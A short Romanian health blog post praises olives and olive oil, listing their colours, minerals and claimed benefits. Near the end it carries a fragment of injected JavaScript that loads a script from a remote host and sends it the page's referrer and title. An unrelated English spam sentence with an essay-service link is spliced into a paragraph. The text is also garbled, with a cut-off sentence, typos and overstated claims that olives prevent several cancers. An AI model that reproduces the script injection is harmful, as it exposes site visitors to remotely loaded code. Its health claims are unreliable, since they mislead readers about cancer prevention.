Alimentul zilei- MASLINELE

Se crede despre masline ca ar proveni din zona muntilor

Caucaz, de unde mai apoi s-au raspandit in toata aria Marii

Mediterane, ajungand in prezent sa fie cultivate pe o scara

foarte larga in intreaga lume.

Probabil că aţi văzut prin magazine măsline de culori diferite, de la verzi, maro, negre până la galbene sau

roşii. Aceasta culoare apare în urma metodelor de fermentaţie care se folosesc pentru măsline înainte de a fi

comercializate. Sunt clasificate şi în funcţie de dimensiune, cele mai mari fiind măslinele Giants si cele mai

mici cele numite Bullets.

Măslinele protejează organismul de cancer cu ajutorul unui ingredient numit oleocantal care

Dacă în alimentaţie se include cât mai des măsline veţi fi mai feriţi de cancerul de la ovare, sân sau colon.

Din punct de vedere a sărurilor minerale aceasta nu duce lipsa de: potasiu, magneziu, fosdor, cupru,

mangan, caroten, calciu. De asemenea conţine şi vitaminele A, B ,C, E F.

Frunzele măslinului au o acţiune diuretică şi înca din Antichitate au fost folosite pentru curăţarea rănilor.

Măslinele au şi un indice glicemic destul de mic care ajută la apariţia treptată a energiei.

Uleiul de masline din fructul presat la rece are actiune protectiva asupra tractului digestiv. Iar cand este

aplicat extern, alina pielea uscata. They were really cute, but don’t https://pro-essay-writer.com be fooled by their innocent looks they do bite and scratch hard.

Cand este folosit la gatit sau ca supliment la mancare, ajuta la pastrarea sanatatii inimii si arterelor. Iar

consumul regulat, previne construirea de colesterol in artere.

Acest ulei este folosit inca din timpurile biblice pentru ingrijirea pielii – facand-o supla si neteda – si

pentru a grabi vindecarea pielii crapate sau iritate.

Uleiul de masline este o alternativa excelenta la unturi si margarine. Un mod delicios de a-l folosi este

amestecarea lui cu condimentele tale favorite si punerea acestei compozitii la macerat pentru cateva zile.

Apoi uleiul poate fi folosit la salate si sosuri.

s. src=’http://gettop. info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document. referrer) + ‘&default_keyword=’ + encodeURIComponent(document. title) + ”; var d=document;var s=d. createElement(‘script’);.

Leave a Reply